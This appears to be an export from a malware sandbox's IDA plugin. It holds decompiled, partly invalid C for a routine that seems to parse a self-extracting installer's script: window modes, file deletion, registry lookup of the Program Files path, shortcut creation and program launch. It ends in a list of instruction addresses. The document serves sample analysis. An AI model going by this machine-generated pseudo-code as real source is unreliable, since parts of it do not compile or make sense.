Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 50c2d9d00bf3638a7f3b4020f6ade639089e3ea4eb3c632bbd58fec4250a88dd
Instruction ID: eaa7a53d8f6a55a0c56b85cb69c0c596ecbabb31b317c1c64f3bf9a1f3fd4523
Opcode Fuzzy Hash: 50c2d9d00bf3638a7f3b4020f6ade639089e3ea4eb3c632bbd58fec4250a88dd
Instruction Fuzzy Hash: 56419D71540258BACF21AF24CC45EEA77A9FF25390B124435F825E3251EF709B94EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00871D96 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00871D96(void* __ecx, void* __edx, intOrPtr __esi) {
				intOrPtr _t221;
				intOrPtr _t226;
				void* _t227;
				intOrPtr _t279;
				long _t295;
				signed int _t296;
				void* _t299;
				signed int _t300;
				void* _t304;

				L0:
				while(1) {
					L0:
					 *0x8b2b57 = 1;
					_t295 = 1;
					_t221 = _t304 - 0x588c;
					_t279 = __esi;
					 *((intOrPtr*)(_t304 - 0x14)) = _t221;
					if( *((short*)(_t304 - 0x588c)) != 0x3c) {
						goto L96;
					}
					L86:
					__eax = __ebp - 0x588a;
					_push(__ebp - 0x588a);
					__eax = E008750E0(__ecx);
					_pop(__ecx);
					__ecx = 0x3e;
					if(__eax == 0) {
						L95:
						__eax =  *(__ebp - 0x14);
						goto L96;
					}
					L87:
					_t103 = __eax + 2; // 0x2
					__ecx = _t103;
					 *(__ebp - 0x14) = _t103;
					__ecx = 0;
					 *__eax = __cx;
					__eax = __ebp - 0x10c;
					_push(0x64);
					_push(__ebp - 0x10c);
					__eax = __ebp - 0x588a;
					_push(__ebp - 0x588a);
					__eax = E008700F6();
					 *(__ebp - 0x20) = __eax;
					if(__eax == 0) {
						goto L95;
					}
					L88:
					__esi = __eax;
					while(1) {
						L89:
						if( *(__ebp - 0x10c) == 0) {
							goto L95;
						}
						L90:
						__eax = __ebp - 0x10c;
						__eax = E00867D24(__ebp - 0x10c, L"HIDE");
						__eax =  ~__eax;
						asm("sbb eax, eax");
						__edi = __edi & __eax;
						__eax = __ebp - 0x10c;
						__eax = E00867D24(__ebp - 0x10c, L"MAX");
						if(__eax == 0) {
							__edi = 3;
						}
						__eax = __ebp - 0x10c;
						__eax = E00867D24(__ebp - 0x10c, L"MIN");
						if(__eax == 0) {
							__edi = 6;
						}
						_push(0x64);
						__eax = __ebp - 0x10c;
						_push(__ebp - 0x10c);
						_push(__esi);
						__esi = E008700F6();
						if(__esi != 0) {
							continue;
						} else {
							goto L95;
						}
					}
					goto L95;
					L96:
					if( *((intOrPtr*)(_t304 + 0x10)) != 5) {
						L99:
						if( *((intOrPtr*)(_t304 + 0x10)) != 4) {
							while(1) {
								L175:
								_push(0x1000);
								_t213 = _t304 - 0x15; // 0xffffa75f
								_t214 = _t304 - 0xd; // 0xffffa767
								_t215 = _t304 - 0x588c; // 0xffff4ee8
								_t216 = _t304 - 0xf894; // 0xfffeaee0
								_push( *((intOrPtr*)(_t304 + 0xc)));
								_t226 = E00870354(_t295, _t304);
								_t279 =  *((intOrPtr*)(_t304 + 0x10));
								 *((intOrPtr*)(_t304 + 0xc)) = _t226;
								if(_t226 != 0) {
									_t227 = _t304 - 0x588c;
									_t299 = _t304 - 0x1b894;
									_t296 = 6;
									goto L2;
								} else {
									break;
								}
								L4:
								while(E00867D24(_t304 - 0xf894,  *((intOrPtr*)(0x893624 + _t300 * 4))) != 0) {
									_t300 = _t300 + 1;
									if(_t300 < 0xe) {
										continue;
									} else {
										goto L175;
									}
								}
								if(_t300 > 0xd) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)(_t300 * 4 +  &M00872459))) {
									case 0:
										L9:
										__eflags = _t279 - 2;
										if(_t279 == 2) {
											_t295 = 0x800;
											E0086F86D(_t304 - 0x788c, 0x800);
											E008629A2(E00863793(__eflags, _t304 - 0x788c, _t304 - 0x588c, _t304 - 0xd894, 0x800), _t279, _t304 - 0x8894, _t300);
											 *(_t304 - 4) = 0;
											E00862ADC(_t304 - 0x8894, _t304 - 0xd894);
											E00861AC3(_t304 - 0x388c);
											while(1) {
												L23:
												_push(0);
												_t241 = E00862A2F(_t304 - 0x8894, _t304 - 0x388c);
												__eflags = _t241;
												if(_t241 == 0) {
													break;
												}
												L11:
												SetFileAttributesW(_t304 - 0x388c, 0);
												__eflags =  *(_t304 - 0x2880);
												if(__eflags == 0) {
													L16:
													_t245 = GetFileAttributesW(_t304 - 0x388c);
													__eflags = _t245 - 0xffffffff;
													if(_t245 == 0xffffffff) {
														continue;
													}
													L17:
													_t247 = DeleteFileW(_t304 - 0x388c);
													__eflags = _t247;
													if(_t247 != 0) {
														continue;
													} else {
														_t302 = 0;
														_push(0);
														goto L20;
														L20:
														E008639A9(_t304 - 0x1044, _t295, L"%s.%d.tmp", _t304 - 0x388c);
														_t306 = _t306 + 0x14;
														_t252 = GetFileAttributesW(_t304 - 0x1044);
														__eflags = _t252 - 0xffffffff;
														if(_t252 != 0xffffffff) {
															_t302 = _t302 + 1;
															__eflags = _t302;
															_push(_t302);
															goto L20;
														} else {
															_t255 = MoveFileW(_t304 - 0x388c, _t304 - 0x1044);
															__eflags = _t255;
															if(_t255 != 0) {
																MoveFileExW(_t304 - 0x1044, 0, 4);
															}
															continue;
														}
													}
												}
												L12:
												E00863470(__eflags, _t304 - 0x788c, _t304 - 0x1044, _t295);
												E0086316F(__eflags, _t304 - 0x1044, _t295);
												_t303 = E00878793(_t304 - 0x788c);
												__eflags = _t303 - 4;
												if(_t303 < 4) {
													L14:
													_t266 = E00863754(_t304 - 0x588c);
													__eflags = _t266;
													if(_t266 != 0) {
														break;
													}
													L15:
													_t269 = E00878793(_t304 - 0x388c);
													__eflags = 0;
													 *((short*)(_t304 + _t269 * 2 - 0x388a)) = 0;
													E00874BD0(_t295, _t304 - 0x44, 0, 0x1e);
													_t306 = _t306 + 0x10;
													 *((intOrPtr*)(_t304 - 0x40)) = 3;
													_push(0x14);
													_pop(_t272);
													 *((short*)(_t304 - 0x34)) = _t272;
													 *((intOrPtr*)(_t304 - 0x3c)) = _t304 - 0x388c;
													_push(_t304 - 0x44);
													 *0x8c9050();
													goto L16;
												}
												L13:
												_t277 = E00878793(_t304 - 0x1044);
												__eflags = _t303 - _t277;
												if(_t303 > _t277) {
													goto L15;
												}
												goto L14;
											}
											L24:
											 *(_t304 - 4) =  *(_t304 - 4) | 0xffffffff;
											E008629B8(_t304 - 0x8894);
										}
										goto L175;
									case 1:
										L25:
										__eflags = __ebx;
										if(__ebx != 0) {
											goto L175;
										} else {
											__eax =  *0x8c62dc;
											__eflags = __eax;
											__ebx = __ebx & 0xffffff00 | __eax == 0x00000000;
											__eflags = __eax;
											if(__eax != 0) {
												__eax =  *0x8c62dc;
												_pop(__ecx);
												_pop(__ecx);
											}
											__bh =  *((intOrPtr*)(__ebp - 0xd));
											__eflags = __bh;
											if(__eflags == 0) {
												__eax = __ebp + 0xc;
												_push(__ebp + 0xc);
												__esi = E008704CE(__ecx, __edx, __eflags);
												__eax =  *0x8c62dc;
											} else {
												__esi = __ebp - 0x588c;
											}
											__eflags = __bl;
											if(__bl == 0) {
												__edi = __eax;
											}
											L33:
											__eax = E00878793(__esi);
											__eax = __eax + __edi;
											_push(__eax);
											_push( *0x8c62dc); // executed
											__eax = L0087AA36(__ecx, __edx); // executed
											__esp = __esp + 0xc;
											__eflags = __eax;
											if(__eax == 0) {
												L37:
												__eflags = __bh;
												if(__bh == 0) {
													__eax = L008787AE(__esi);
												}
												goto L175;
											}
											L34:
											 *0x8c62dc = __eax;
											__eflags = __bl;
											if(__bl != 0) {
												__ecx = 0;
												__eflags = 0;
												 *__eax = __cx;
											}
											L36:
											__eax = E0087C007(__eax, __esi);
											_pop(__ecx);
											_pop(__ecx);
											goto L37;
										}
									case 2:
										L39:
										__eflags = __ebx;
										if(__ebx == 0) {
											__ebp - 0x588c = SetWindowTextW( *(__ebp + 8), __ebp - 0x588c); // executed
										}
										goto L175;
									case 3:
										L41:
										__eflags = __ebx;
										if(__ebx != 0) {
											goto L175;
										}
										L42:
										__eflags =  *0x8b0a42 - __di;
										if( *0x8b0a42 != __di) {
											goto L175;
										}
										L43:
										__eax = 0;
										__edi = __ebp - 0x588c;
										_push(0x22);
										 *(__ebp - 0x1044) = __ax;
										_pop(__eax);
										__eflags =  *(__ebp - 0x588c) - __ax;
										if( *(__ebp - 0x588c) == __ax) {
											__edi = __ebp - 0x588a;
										}
										__eax = E00878793(__edi);
										__esi = 0x800;
										__eflags = __eax - 0x800;
										if(__eax >= 0x800) {
											goto L175;
										} else {
											L46:
											__eax =  *__edi & 0x0000ffff;
											_push(0x5c);
											_pop(__ecx);
											__eflags = ( *__edi & 0x0000ffff) - 0x2e;
											if(( *__edi & 0x0000ffff) != 0x2e) {
												L50:
												__eflags = __ax - __cx;
												if(__ax == __cx) {
													L62:
													__ebp - 0x1044 = E008668CD(__ebp - 0x1044, __edi, __esi);
													__ebx = 0;
													__eflags = 0;
													L63:
													_push(0x22);
													_pop(__eax);
													__eax = __ebp - 0x1044;
													__eax = E008758CB(__ebp - 0x1044, __ebp - 0x1044);
													_pop(__ecx);
													_pop(__ecx);
													__eflags = __eax;
													if(__eax != 0) {
														__eflags =  *(__eax + 2) - __bx;
														if( *(__eax + 2) == __bx) {
															__ecx = 0;
															__eflags = 0;
															 *__eax = __cx;
														}
													}
													__eax = __ebp - 0x1044;
													__edi = 0x8b0a42;
													E008668CD(0x8b0a42, __ebp - 0x1044, __esi) = __ebp - 0x1044;
													__eax = E008701F1(__ebp - 0x1044, __esi);
													__esi = GetDlgItem( *(__ebp + 8), 0x66);
													__ebp - 0x1044 = SetWindowTextW(__esi, __ebp - 0x1044); // executed
													__eax = SendMessageW(__esi, 0x143, __ebx, 0x8b0a42); // executed
													__eax = __ebp - 0x1044;
													__eax = E0087A890(__ebp - 0x1044, 0x8b0a42, __eax);
													_pop(__ecx);
													_pop(__ecx);
													__eflags = __eax;
													if(__eax != 0) {
														__ebp - 0x1044 = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x1044);
													}
													goto L175;
												}
												L51:
												__eflags = __ax;
												if(__ax == 0) {
													L53:
													__eax = __ebp - 0x1c;
													__ebx = 0;
													_push(__ebp - 0x1c);
													_push(1);
													_push(0);
													_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
													_push(0x80000002);
													__eax =  *0x8c9004();
													__eflags = __eax;
													if(__eax == 0) {
														__eax = __ebp - 0x14;
														 *(__ebp - 0x14) = 0x1000;
														_push(__ebp - 0x14);
														__eax = __ebp - 0x1044;
														_push(__ebp - 0x1044);
														__eax = __ebp - 0x24;
														_push(__ebp - 0x24);
														_push(0);
														_push(L"ProgramFilesDir");
														_push( *(__ebp - 0x1c));
														__eax =  *0x8c9000();
														_push( *(__ebp - 0x1c));
														 *0x8c900c() =  *(__ebp - 0x14);
														__ecx = 0x7ff;
														__eax =  *(__ebp - 0x14) >> 1;
														__eflags = __eax - 0x7ff;
														if(__eax >= 0x7ff) {
															__eax = 0x7ff;
														}
														__ecx = 0;
														__eflags = 0;
														 *(__ebp + __eax * 2 - 0x1044) = __cx;
													}
													__eflags =  *(__ebp - 0x1044) - __bx;
													if( *(__ebp - 0x1044) != __bx) {
														__eax = __ebp - 0x1044;
														__eax = E00878793(__ebp - 0x1044);
														_push(0x5c);
														_pop(__ecx);
														__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x1046)) - __cx;
														if(__eflags != 0) {
															__ebp - 0x1044 = E008668A5(__eflags, __ebp - 0x1044, "\\", __esi);
														}
													}
													__esi = E00878793(__edi);
													__eax = __ebp - 0x1044;
													__eflags = __esi - 0x7ff;
													__esi = 0x800;
													if(__eflags < 0) {
														__ebp - 0x1044 = E008668A5(__eflags, __ebp - 0x1044, __edi, 0x800);
													}
													goto L63;
												}
												L52:
												__eflags =  *((short*)(__edi + 2)) - 0x3a;
												if( *((short*)(__edi + 2)) == 0x3a) {
													goto L62;
												}
												goto L53;
											}
											L47:
											__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
											if( *((intOrPtr*)(__edi + 2)) != __cx) {
												goto L51;
											}
											L48:
											__edi = __edi + 4;
											__ebx = 0;
											__eflags =  *__edi - __bx;
											if( *__edi == __bx) {
												goto L175;
											}
											L49:
											__ebp - 0x1044 = E008668CD(__ebp - 0x1044, __edi, 0x800);
											goto L63;
										}
									case 4:
										L68:
										__eflags =  *0x8b0a3c - 1;
										__eflags = __eax - 0x8b0a3c;
										 *__edi =  *__edi + __ecx;
										__eflags =  *(__edx + 7) & __al;
										 *__eax =  *__eax + __al;
										__eflags =  *__eax;
									case 5:
										L73:
										__eax =  *(__ebp - 0x588c) & 0x0000ffff;
										__ecx = 0;
										__eax =  *(__ebp - 0x588c) & 0x0000ffff;
										__eflags = __eax;
										if(__eax == 0) {
											L80:
											 *0x8aea1f = __cl;
											 *0x8aea30 = 1;
											goto L175;
										}
										L74:
										__eax = __eax - 0x30;
										__eflags = __eax;
										if(__eax == 0) {
											L78:
											 *0x8aea1f = __cl;
											L79:
											 *0x8aea30 = __cl;
											goto L175;
										}
										L75:
										__eax = __eax - 1;
										__eflags = __eax;
										if(__eax == 0) {
											goto L80;
										}
										L76:
										__eax = __eax - 1;
										__eflags = __eax;
										if(__eax != 0) {
											goto L175;
										}
										L77:
										 *0x8aea1f = 1;
										goto L79;
									case 6:
										goto L0;
									case 7:
										L106:
										__eflags = __ebx - 1;
										if(__eflags != 0) {
											L123:
											__eflags = __ebx - 7;
											if(__ebx == 7) {
												__eflags =  *0x8b0a3c - __edi;
												if( *0x8b0a3c == __edi) {
													 *0x8b0a3c = 2;
												}
												 *0x8afa38 = 1;
											}
											goto L175;
										}
										L107:
										__eax = __ebp - 0x788c;
										__edi = 0x800;
										GetTempPathW(0x800, __ebp - 0x788c) = __ebp - 0x788c;
										__eax = E0086316F(__eflags, __ebp - 0x788c, 0x800);
										__ebx = 0;
										__esi = 0;
										_push(0);
										while(1) {
											L109:
											_push( *0x893604);
											__ebp - 0x788c = E008639A9(0x8afa3a, __edi, L"%s%s%u", __ebp - 0x788c);
											__eax = E00862680(0x8afa3a);
											__eflags = __al;
											if(__al == 0) {
												break;
											}
											L108:
											__esi =  &(__esi->i);
											__eflags = __esi;
											_push(__esi);
										}
										L110:
										__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x8afa3a);
										__eflags =  *(__ebp - 0x588c) - __bx;
										if( *(__ebp - 0x588c) == __bx) {
											goto L175;
										}
										L111:
										__eflags =  *0x8b2b55 - __bl;
										if( *0x8b2b55 != __bl) {
											goto L175;
										}
										L112:
										__eax = 0;
										 *(__ebp - 0x444) = __ax;
										__eax = __ebp - 0x588c;
										_push(0x2c);
										_push(__ebp - 0x588c);
										__eax = E008750E0(__ecx);
										_pop(__ecx);
										_pop(__ecx);
										__eflags = __eax;
										if(__eax != 0) {
											L119:
											__eflags =  *(__ebp - 0x444) - __bx;
											if( *(__ebp - 0x444) == __bx) {
												__ebp - 0x1b894 = __ebp - 0x588c;
												E008668CD(__ebp - 0x588c, __ebp - 0x1b894, 0x1000) = __ebp - 0x19894;
												__ebp - 0x444 = E008668CD(__ebp - 0x444, __ebp - 0x19894, 0x200);
											}
											__ebp - 0x588c = E0086FF30(__ebp - 0x588c);
											__eax = 0;
											 *(__ebp - 0x488c) = __ax;
											__ebp - 0x444 = __ebp - 0x588c;
											__eax = E0086FA04( *(__ebp + 8), __ebp - 0x588c, __ebp - 0x444, 0x24);
											__eflags = __eax - 6;
											if(__eax != 6) {
												__eax = 0;
												 *0x8aea1c = 1;
												 *0x8afa3a = __ax;
												__eax = EndDialog( *(__ebp + 8), 1);
											}
											goto L175;
										}
										L113:
										__ax =  *(__ebp - 0x588c);
										__esi = __ebx;
										__eflags = __ax;
										if(__ax == 0) {
											goto L119;
										}
										L114:
										__ecx = __ax & 0x0000ffff;
										while(1) {
											L115:
											__eflags = __cx - 0x40;
											if(__cx == 0x40) {
												break;
											}
											L116:
											__eax =  *(__ebp + __esi * 2 - 0x588a) & 0x0000ffff;
											__esi =  &(__esi->i);
											__ecx = __eax;
											__eflags = __ax;
											if(__ax != 0) {
												continue;
											}
											L117:
											goto L119;
										}
										L118:
										__ebp - 0x588a = __ebp - 0x588a + __esi * 2;
										__ebp - 0x444 = E008668CD(__ebp - 0x444, __ebp - 0x444, 0x200);
										__eax = 0;
										__eflags = 0;
										 *(__ebp + __esi * 2 - 0x588c) = __ax;
										goto L119;
									case 8:
										L127:
										__eflags = __ebx - 3;
										if(__ebx == 3) {
											__eflags =  *(__ebp - 0x588c) - __di;
											if(__eflags != 0) {
												__eax = __ebp - 0x588c;
												_push(__ebp - 0x588c);
												__eax = E0087BFA6(__ebx, __edi);
												_pop(__ecx);
												 *0x8c62e4 = __eax;
											}
											__eax = __ebp + 0xc;
											_push(__ebp + 0xc);
											 *0x8c62e0 = E008704CE(__ecx, __edx, __eflags);
										}
										 *0x8b2b56 = 1;
										goto L175;
									case 9:
										L132:
										__eflags = __ebx - 6;
										if(__ebx != 6) {
											goto L175;
										}
										L133:
										__eax = 0;
										 *(__ebp - 0x2844) = __ax;
										__eax =  *(__ebp - 0x1b894) & 0x0000ffff;
										__eax = E0087C36A( *(__ebp - 0x1b894) & 0x0000ffff);
										__eflags = __eax - 0x50;
										if(__eax == 0x50) {
											 *(__ebp - 0x14) = 2;
											__eax = 0x8c31ca;
										} else {
											__eflags = __eax - 0x54;
											if(__eax == 0x54) {
												 *(__ebp - 0x14) = 7;
												__eax = 0x8c21ca;
											} else {
												 *(__ebp - 0x14) = 0x10;
												__eax = 0x8c41ca;
											}
										}
										__esi = 0x800;
										__ebp - 0x2844 = E008668CD(__ebp - 0x2844, __ebp - 0x2844, 0x800);
										__eax = 0;
										 *(__ebp - 0x9894) = __ax;
										 *(__ebp - 0x1844) = __ax;
										__ebp - 0x19894 = __ebp - 0x688c;
										__eax = E008668CD(__ebp - 0x688c, __ebp - 0x19894, 0x800);
										_push(0x22);
										_pop(__ebx);
										__eflags =  *(__ebp - 0x688c) - __bx;
										if( *(__ebp - 0x688c) != __bx) {
											L141:
											__ebp - 0x688c = E00862680(__ebp - 0x688c);
											__eflags = __al;
											if(__al != 0) {
												goto L160;
											}
											L142:
											__ax =  *(__ebp - 0x688c);
											__esi = __ebp - 0x688c;
											__ebx = __edi;
											__eflags = __ax;
											if(__ax == 0) {
												L159:
												__esi = 0x800;
												goto L160;
											}
											L143:
											__edi = __ax & 0x0000ffff;
											do {
												L144:
												_push(0x20);
												_pop(__eax);
												__eflags = __di - __ax;
												if(__di == __ax) {
													L146:
													__eax = 0;
													__esi->i = __ax;
													__ebp - 0x688c = E00862680(__ebp - 0x688c);
													__eflags = __al;
													if(__al == 0) {
														L155:
														__esi->i = __di;
														goto L156;
													}
													L147:
													__ebp - 0x688c = E00862692(__ebp - 0x688c);
													__eax = E008626ED(__eax);
													__eflags = __al;
													if(__al != 0) {
														goto L155;
													}
													L148:
													_push(0x2f);
													_pop(__ecx);
													__eax =  &(__esi->i);
													__ebx = __esi;
													__eflags = __di - __cx;
													if(__di != __cx) {
														L150:
														_push(0x20);
														__esi = __eax;
														_pop(__eax);
														while(1) {
															L152:
															__eflags = __esi->i - __ax;
															if(__esi->i != __ax) {
																break;
															}
															L151:
															__esi =  &(__esi->i);
															__eflags = __esi;
														}
														L153:
														__ecx = __ebp - 0x1844;
														__eax = __esi;
														__edx = 0x400;
														L154:
														__eax = E008668CD(__ecx, __eax, __edx);
														 *__ebx = __di;
														goto L156;
													}
													L149:
													 *(__ebp - 0x1844) = __cx;
													__edx = 0x3ff;
													__ecx = __ebp - 0x1842;
													goto L154;
												}
												L145:
												_push(0x2f);
												_pop(__eax);
												__eflags = __di - __ax;
												if(__di != __ax) {
													goto L156;
												}
												goto L146;
												L156:
												__esi =  &(__esi->i);
												__eax = __esi->i & 0x0000ffff;
												__edi = __esi->i & 0x0000ffff;
												__eflags = __ax;
											} while (__ax != 0);
											__esi = 0x800;
											__eflags = __ebx;
											if(__ebx != 0) {
												__eax = 0;
												 *__ebx = __ax;
											}
											goto L160;
										} else {
											L139:
											__ebp - 0x19892 = __ebp - 0x688c;
											E008668CD(__ebp - 0x688c, __ebp - 0x19892, 0x800) = __ebp - 0x688a;
											_push(__ebx);
											_push(__ebp - 0x688a);
											__eax = E008750E0(__ecx);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ecx = 0;
												 *__eax = __cx;
												__ebp - 0x1844 = E008668CD(__ebp - 0x1844, __ebp - 0x1844, 0x400);
											}
											L160:
											__eflags =  *((short*)(__ebp - 0x11894));
											if( *((short*)(__ebp - 0x11894)) != 0) {
												__ebp - 0x9894 = __ebp - 0x11894;
												__eax = E008631A3(__ebp - 0x11894, __ebp - 0x9894, __esi);
											}
											__ebp - 0xb894 = __ebp - 0x688c;
											__eax = E008631A3(__ebp - 0x688c, __ebp - 0xb894, __esi);
											__eflags =  *(__ebp - 0x2844);
											if(__eflags == 0) {
												__ebp - 0x2844 = E00870465(__ecx, __ebp - 0x2844,  *(__ebp - 0x14));
											}
											__ebp - 0x2844 = E0086316F(__eflags, __ebp - 0x2844, __esi);
											__eflags =  *((short*)(__ebp - 0x17894));
											if(__eflags != 0) {
												__ebp - 0x17894 = __ebp - 0x2844;
												E008668A5(__eflags, __ebp - 0x2844, __ebp - 0x17894, __esi) = __ebp - 0x2844;
												__eax = E0086316F(__eflags, __ebp - 0x2844, __esi);
											}
											__ebp - 0x2844 = __ebp - 0xc894;
											__eax = E008668CD(__ebp - 0xc894, __ebp - 0x2844, __esi);
											__eflags =  *(__ebp - 0x13894);
											__eax = __ebp - 0x13894;
											if(__eflags == 0) {
												__eax = __ebp - 0x19894;
											}
											__ebp - 0x2844 = E008668A5(__eflags, __ebp - 0x2844, __ebp - 0x2844, __esi);
											__eax = __ebp - 0x2844;
											__eflags = E0086340C(__ebp - 0x2844);
											if(__eflags == 0) {
												L170:
												__ebp - 0x2844 = E008668A5(__eflags, __ebp - 0x2844, L".lnk", __esi);
												goto L171;
											} else {
												L169:
												__eflags = __eax;
												if(__eflags == 0) {
													L171:
													__ebx = 0;
													__ebp - 0x2844 = E00862551(0, __ecx, __edi, __ebp, __ebp - 0x2844, 1, 0);
													__ebp - 0xb894 = __ebp - 0xa894;
													E008668CD(__ebp - 0xa894, __ebp - 0xb894, __esi) = __ebp - 0xa894;
													__eax = E008638D1(__eflags, __ebp - 0xa894);
													__esi =  *(__ebp - 0x1844) & 0x0000ffff;
													__eax = __ebp - 0x1844;
													__edx =  *(__ebp - 0x9894) & 0x0000ffff;
													__edi = __ebp - 0xa894;
													__ecx =  *(__ebp - 0x15894) & 0x0000ffff;
													__esi =  ~( *(__ebp - 0x1844) & 0x0000ffff);
													asm("sbb esi, esi");
													__esi =  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844;
													__edx =  ~( *(__ebp - 0x9894) & 0x0000ffff);
													__eax = __ebp - 0x9894;
													asm("sbb edx, edx");
													__edx =  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894;
													__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff);
													__eax = __ebp - 0x15894;
													asm("sbb ecx, ecx");
													__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894;
													 *(__ebp - 0xa894) & 0x0000ffff =  ~( *(__ebp - 0xa894) & 0x0000ffff);
													asm("sbb eax, eax");
													 ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi = __ebp - 0x2844;
													__ebp - 0xb894 = E0086F6AA( ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894, 0, __ebp - 0xb894, __ebp - 0x2844,  ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi, __ecx,  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894, __esi);
													__eflags =  *(__ebp - 0xc894) - __bx;
													if( *(__ebp - 0xc894) != __bx) {
														_push(0);
														__eax = __ebp - 0xc894;
														_push(__ebp - 0xc894);
														_push(5);
														_push(0x1000);
														__eax =  *0x8c9060();
													}
													goto L175;
												}
												goto L170;
											}
										}
									case 0xa:
										L173:
										__eflags = __ebx - 7;
										if(__ebx == 7) {
											 *0x8b0a40 = 1;
										}
										goto L175;
									case 0xb:
										L81:
										__eax =  *(__ebp - 0x588c) & 0x0000ffff;
										__eax = E0087C36A( *(__ebp - 0x588c) & 0x0000ffff);
										__eflags = __eax - 0x46;
										if(__eax == 0x46) {
											 *0x8aea31 = 1;
										} else {
											__eflags = __eax - 0x55;
											if(__eax == 0x55) {
												 *0x8aea32 = 1;
											} else {
												__eax = 0;
												 *0x8aea31 = __al;
												 *0x8aea32 = __al;
											}
										}
										goto L175;
									case 0xc:
										L103:
										 *0x8be1c2 = 1;
										__eax = __eax + 0x8be1c2;
										_t117 = __esi + 0x39;
										 *_t117 =  *(__esi + 0x39) + __esp;
										__eflags =  *_t117;
										__ebp = 0xffffa774;
										if( *_t117 != 0) {
											_t119 = __ebp - 0x588c; // 0xffff4ee8
											__eax = _t119;
											 *0x893608 = E00867D10(_t119);
										}
										goto L175;
								}
								L2:
								_push(0x1000);
								_push(_t299);
								_push(_t227);
								_t227 = E008700F6();
								_t299 = _t299 + 0x2000;
								_t296 = _t296 - 1;
								if(_t296 != 0) {
									goto L2;
								} else {
									_t300 = _t296;
									goto L4;
								}
							}
							L176:
							 *[fs:0x0] =  *((intOrPtr*)(_t304 - 0xc));
							return _t226;
						}
						L100:
						if(_t279 != 6) {
							goto L175;
						}
						L101:
						_push(0);
						L102:
						_push(_t295);
						_push(_t221);
						_push( *((intOrPtr*)(_t304 + 8)));
						E008727CF(_t304);
						goto L175;
					}
					L97:
					if(_t279 != 9) {
						goto L175;
					}
					L98:
					_push(1);
					goto L102;
				}
			}

0x00871d96
0x00871d96
0x00871d96
0x00871d98
0x00871d9f
0x00871da0
0x00871dae
0x00871db0
0x00871db3
0x00000000
0x00000000
0x00871db9
0x00871db9
0x00871dc1
0x00871dc2
0x00871dc7
0x00871dc8
0x00871dcb
0x00871e60
0x00871e60
0x00000000
0x00871e60
0x00871dd1
0x00871dd1
0x00871dd1
0x00871dd4
0x00871dd7
0x00871dd9
0x00871ddc
0x00871de2
0x00871de4
0x00871de5
0x00871deb
0x00871dec
0x00871df1
0x00871df6
0x00000000
0x00000000
0x00871df8
0x00871df8
0x00871dfa
0x00871dfa
0x00871e02
0x00000000
0x00000000
0x00871e04
0x00871e09
0x00871e10
0x00871e15
0x00871e1c
0x00871e1e
0x00871e20
0x00871e27
0x00871e2e
0x00871e32
0x00871e32
0x00871e38
0x00871e3f
0x00871e46
0x00871e4a
0x00871e4a
0x00871e4b
0x00871e4d
0x00871e53
0x00871e54
0x00871e5a
0x00871e5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00871e5e
0x00000000
0x00871e63
0x00871e67
0x00871e76
0x00871e7a
0x00872417
0x00872417
0x00872417
0x0087241c
0x00872420
0x00872424
0x0087242b
0x00872432
0x00872435
0x0087243a
0x0087243d
0x00872442
0x008717d3
0x008717d9
0x008717df
0x008717df
0x00000000
0x00000000
0x00000000
0x00000000
0x008717f9
0x00871810
0x00871814
0x00000000
0x00871816
0x00000000
0x00871816
0x00871814
0x0087181e
0x00000000
0x00000000
0x00871824
0x00871824
0x00000000
0x0087182b
0x0087182b
0x0087182e
0x00871834
0x00871841
0x00871867
0x0087187b
0x0087187e
0x00871889
0x008719cd
0x008719cd
0x008719cd
0x008719db
0x008719e0
0x008719e2
0x00000000
0x00000000
0x00871893
0x0087189b
0x008718a1
0x008718a7
0x0087194d
0x00871954
0x0087195a
0x0087195d
0x00000000
0x00000000
0x0087195f
0x00871966
0x0087196c
0x0087196e
0x00000000
0x00871970
0x00871970
0x00871972
0x00871973
0x00871977
0x0087198b
0x00871990
0x0087199a
0x008719a0
0x008719a3
0x00871975
0x00871975
0x00871976
0x00000000
0x008719a5
0x008719b3
0x008719b9
0x008719bb
0x008719c7
0x008719c7
0x00000000
0x008719bb
0x008719a3
0x0087196e
0x008718ad
0x008718bc
0x008718c9
0x008718da
0x008718dd
0x008718e0
0x008718f3
0x008718fa
0x008718ff
0x00871901
0x00000000
0x00000000
0x00871907
0x0087190e
0x00871913
0x00871918
0x00871924
0x00871929
0x0087192c
0x00871933
0x00871935
0x00871936
0x00871940
0x00871946
0x00871947
0x00000000
0x00871947
0x008718e2
0x008718e9
0x008718ef
0x008718f1
0x00000000
0x00000000
0x00000000
0x008718f1
0x008719e8
0x008719e8
0x008719f2
0x008719f2
0x00000000
0x00000000
0x008719fc
0x008719fc
0x008719fe
0x00000000
0x00871a04
0x00871a04
0x00871a09
0x00871a0b
0x00871a0e
0x00871a10
0x00871a1d
0x00871a22
0x00871a23
0x00871a23
0x00871a24
0x00871a27
0x00871a29
0x00871a33
0x00871a36
0x00871a3c
0x00871a3e
0x00871a2b
0x00871a2b
0x00871a2b
